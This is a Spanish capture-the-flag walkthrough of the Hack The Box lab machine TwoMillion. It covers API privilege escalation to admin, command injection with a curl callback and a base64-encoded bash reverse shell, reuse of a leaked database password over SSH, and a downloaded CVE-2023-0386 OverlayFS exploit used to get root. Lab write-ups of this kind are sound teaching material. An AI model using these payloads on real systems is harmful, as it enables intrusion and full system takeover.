Descripción

TwoMillion es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Generación de Código de Invitación para registrarse en una aplicación web
  • Enumeración de API para convertir a un usuario normal en administrador
  • Inyección de Comandos en una API utilizada para generar archivos de conexión VPN
  • Pivote de Usuario utilizando credenciales reutilizadas encontradas en el archivo de entorno
  • Escalada de Privilegios mediante vulnerabilidad del kernel Linux OverlayFS

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.221.

$ ping -c 3 10.10.11.221
PING 10.10.11.221 (10.10.11.221) 56(84) bytes of data.
64 bytes from 10.10.11.221: icmp_seq=1 ttl=63 time=48.8 ms
64 bytes from 10.10.11.221: icmp_seq=2 ttl=63 time=49.5 ms
64 bytes from 10.10.11.221: icmp_seq=3 ttl=63 time=47.9 ms

--- 10.10.11.221 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2005ms
rtt min/avg/max/mdev = 47.912/48.729/49.491/0.645 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurarnos que es una máquina Unix. Ahora vamos a hacer un escaneo de puertos TCP con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.221 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.221
Host is up (0.052s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Entonces realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.221 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.221
Host is up (0.047s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.04 seconds

Obtenemos dos servicios: uno Secure Shell (SSH), y uno Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio 2million.htb al archivo /etc/hosts.

$ echo '10.10.11.221 2million.htb' | sudo tee -a /etc/hosts

Enumerando el sitio web, encontramos una antigua versión de Hack The Box. Tenemos la opción de iniciar sesión pero no tenemos credenciales. Enumerando los puntos de acceso, encontramos el punto de acceso /register, en el cual podemos registrar una cuenta. Necesitamos un código de invitación. Leyendo la página principal encontramos que para registrar necesitamos resolver un desafío de nivel básico presentado en el punto de acceso /invite. Se envía una solicitud HTTP POST al punto de acceso /api/v1/invite/verify con un parámetro, code. Al leer el código fuente de la página, encontramos que la página está cargando el código JavaScript /js/inviteapi.min.js. Por la extensión min encontramos que este es un código minificado, por lo que es difícil de leer. Podemos cargar el código fuente original desde el archivo /js/inviteapi.js.

$ curl http://2million.htb/js/inviteapi.js                                             
document.getElementById('verifyForm').addEventListener('submit', function(event) {
  event.preventDefault();

  var codeValue = document.getElementById('code').value;

  if(codeValue === '2MILLION') {
    window.location.href = '/register';
  } else {
    alert('Invite code is incorrect.');
  }
});

Como encontramos aquí, el código de registro es 2MILLION. Introducimos y aún obtenemos el error de código inválido. Esto parece ser un código no utilizado. Regresamos al código minificado.

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}',24,24,'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'),0,{}))

El código no solo está minificado, está ofuscado. Podemos usar una IA LLM para desofuscar el código. Obtenemos el siguiente código:

function verifyInviteCode(code) {
    var response = $.ajax({
        type: "POST",
        url: "/api/v1/invite",
        data: {
            code: code
        },
        success: function(data) {
            console.log(data);
        },
        error: function(data) {
            console.log(data);
        }
    });
}

function makeInviteCode() {
    $.ajax({
        type: "POST",
        url: "/api/v1/invite/generate",
        success: function(data) {
            console.log(data);
        },
        error: function(data) {
            console.log(data);
        }
    });
}

Encontramos que existe una nueva función, makeInviteCode, la cual está llamando al punto de acceso /api/v1/invite/generate para generar un nuevo código. Vamos a llamarla.

$ curl -XPOST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"TjFRREMtVkhBS0ctTkFTRDUtNVBMU1k=","format":"encoded"}}

El código TjFRREMtVkhBS0ctTkFTRDUtNVBMU1k=. Es una cadena codificada en Base64, la decodificamos.

$ echo 'TjFRREMtVkhBS0ctTkFTRDUtNVBMU1k=' | base64 -d                                      
N1QDC-VHAKG-NASD5-5PLSY

Obtenemos el código N1QDC-VHAKG-NASD5-5PLSY. Es aceptado y nos redirigimos a la página /register. Registramos la cuenta con éxito y ahora podemos iniciar sesión y tener acceso al panel de control. Encontramos que podemos descargar el paquete de acceso VPN (archivo .ovpn) desde la sección Labs > Access. La descarga se realiza desde la /api/v1/user/vpn/generate. Vamos a enumerar la API. Tenemos que usar la cookie obtenida cuando el usuario está logado.

 curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' http://2million.htb/api | jq
{
  "/api/v1": "Version 1 of the API"
}

$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' http://2million.htb/api/v1 | jq
{
  "v1": {
    "user": {
      "GET": {
        "/api/v1": "Route List",
        "/api/v1/invite/how/to/generate": "Instructions on invite code generation",
        "/api/v1/invite/generate": "Generate invite code",
        "/api/v1/invite/verify": "Verify invite code",
        "/api/v1/user/auth": "Check if user is authenticated",
        "/api/v1/user/vpn/generate": "Generate a new VPN configuration",
        "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
        "/api/v1/user/vpn/download": "Download OVPN file"
      },
      "POST": {
        "/api/v1/user/register": "Register a new user",
        "/api/v1/user/login": "Login with existing user"
      }
    },
    "admin": {
      "GET": {
        "/api/v1/admin/auth": "Check if user is admin"
      },
      "POST": {
        "/api/v1/admin/vpn/generate": "Generate VPN for specific user"
      },
      "PUT": {
        "/api/v1/admin/settings/update": "Update user settings"
      }
    }
  }
}

$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' http://2million.htb/api/v1/admin/auth | jq
{
  "message": false
}

$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -XPOST http://2million.htb/api/v1/admin/vpn/generate -v  
...
* using HTTP/1.x
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.15.0
> Accept: */*
> Cookie: PHPSESSID=2emhq0u1uikvohi6ok811tk0cu
> 
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Server: nginx
...

$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -XPUT http://2million.htb/api/v1/admin/settings/update | jq
{
  "status": "danger",
  "message": "Invalid content type."
}

Todos los puntos de acceso se listan cuando realizamos una solicitud al punto de acceso /api/v1. Encontramos algunas tareas administrativas, pero no están disponibles debido a que no somos administradores. Con el punto de acceso para generar un archivo VPN para un usuario, recibimos un mensaje 401 Unauthorized. Pero con el punto de acceso para actualizar la configuración del usuario, recibimos un mensaje Invalid Content-Type. Parece que el punto de acceso no está verificando si el usuario que realiza la solicitud es un administrador. Con un encabezado Content-Type establecido en application/json, la aplicación responde que faltan parámetros como email o is_admin.

$ curl -s -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' -XPUT http://2million.htb/api/v1/admin/settings/update | jq
{
  "status": "danger",
  "message": "Missing parameter: email"
}
$ curl -s -XPUT -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"email": "user@2million.htb"}' http://2million.htb/api/v1/admin/settings/update | jq
{
  "status": "danger",
  "message": "Missing parameter: is_admin"
}

Explotación

Podemos utilizar este punto de acceso para cambiar los permisos de nuestra cuenta a administrativos estableciendo el parámetro is_admin en 1.

$ curl -s -XPUT -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"email": "user@2million.htb", "is_admin": true}' http://2million.htb/api/v1/admin/settings/update | jq
{
  "status": "danger",
  "message": "Variable is_admin needs to be either 0 or 1."
}

$ curl -s -XPUT -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"email": "user@2million.htb", "is_admin": 1}' http://2million.htb/api/v1/admin/settings/update | jq
{
  "id": 13,
  "username": "user",
  "is_admin": 1
}

Encontramos que ahora somos administradores. Podemos volver a enumerar el punto de acceso anterior no autorizado.

$ curl -s -XPOST -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"username": "user"}' http://2million.htb/api/v1/admin/vpn/generate 
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
...

En este punto de acceso, solo se acepta un parámetro, username. La aplicación está devolviendo el archivo .ovpn. Como podemos introducir cualquier valor en el campo, vamos a comprobar la inyección de comandos, vamos a iniciar un puerto HTTP de escucha y vamos a comprobar si recibimos una solicitud del servidor después de inyectar el comando curl.

$ nc -nvlp 80
$ curl -s -XPOST -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"username": "user; curl http://10.10.14.16/test #"}' http://2million.htb/api/v1/admin/vpn/generate

Recibimos una solicitud, efectivamente el punto de acceso es vulnerable a inyección de comandos.

$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.221] 46064
GET /test HTTP/1.1
Host: 10.10.14.16
User-Agent: curl/7.81.0
Accept: */*

Podemos usar esto para desplegar una terminal inversa.

$ curl -s -XPOST -b 'PHPSESSID=2emhq0u1uikvohi6ok811tk0cu' -H 'Content-Type: application/json' --data '{"username": "user; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi84MCAwPiYx|base64 -d|bash"}' http://2million.htb/api/v1/admin/vpn/generate

Recibimos una terminal inversa como el usuario www-data, actualizamos la terminal.

$ nc -nvlp 80
listening on [any] 80 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.221] 59464
bash: cannot set terminal process group (1169): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@2million:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@2million:~/html$ ^Z
$ stty raw -echo; fg
$ reset xterm
www-data@2million:~/html$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos el archivo .env en la raíz del servidor web con el nombre de la base de datos, htb_prod, el nombre de usuario de la base de datos, admin y la contraseña, SuperDuperPass123.

www-data@2million:~/html$ ls -a
.  ..  .env  Database.php  Router.php  VPN  assets  controllers  css  fonts  images  index.php  js  views
www-data@2million:~/html$ cat .env 
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Encontramos que la contraseña se reutiliza para el usuario admin de Linux, por lo que podemos iniciar sesión usando SSH. Encontramos que tenemos correo electrónico disponible, lo leemos.

$ ssh admin@2million.htb
...
You have mail.
...
admin@2million:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@2million:~$ cat /var/mail/admin 
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

En el correo encontramos que el sistema operativo es vulnerable a una vulnerabilidad del kernel de Linux (OverlayFS / FUSE). Una vulnerabilidad del kernel permite la escalada de privilegios.

admin@2million:~$ uname -a
Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

La máquina está utilizando la versión del kernel 5.15.70. Con estos datos encontramos la CVE-2023-0386, donde se encontró el acceso no autorizado a la ejecución del archivo setuid con capacidades en el subsistema OverlayFS del kernel Linux en cómo un usuario copia un archivo con capacidades desde un montaje nosuid hacia otro montaje. Este error de mapeo de uid permite a un usuario local escalar sus privilegios en el sistema. Tenemos un prueba de concepto de la vulnerabilidad construido por puckiestyle, lo descargamos y lo ejecutamos. Obtenemos una terminal root

admin@2million:~$ mktemp -d
admin@2million:/tmp/tmp.71Hbu7iFZF$ wget http://10.10.14.16/main.zip
admin@2million:/tmp/tmp.71Hbu7iFZF$ unzip main.zip
admin@2million:/tmp/tmp.71Hbu7iFZF$ cd CVE-2023-0386-main/
admin@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main$ make all
admin@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main$ ./fuse ./ovlcap/lower ./gc &
admin@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main$ ./exp
root@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main# id
uid=0(root) gid=0(root) groups=0(root),1000(admin)

Flags

En la terminal root podemos recuperar las flags user.txt y root.txt.

root@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main# cat /home/admin/user.txt 
<REDACTED>
root@2million:/tmp/tmp.71Hbu7iFZF/CVE-2023-0386-main# cat /root/root.txt 
<REDACTED>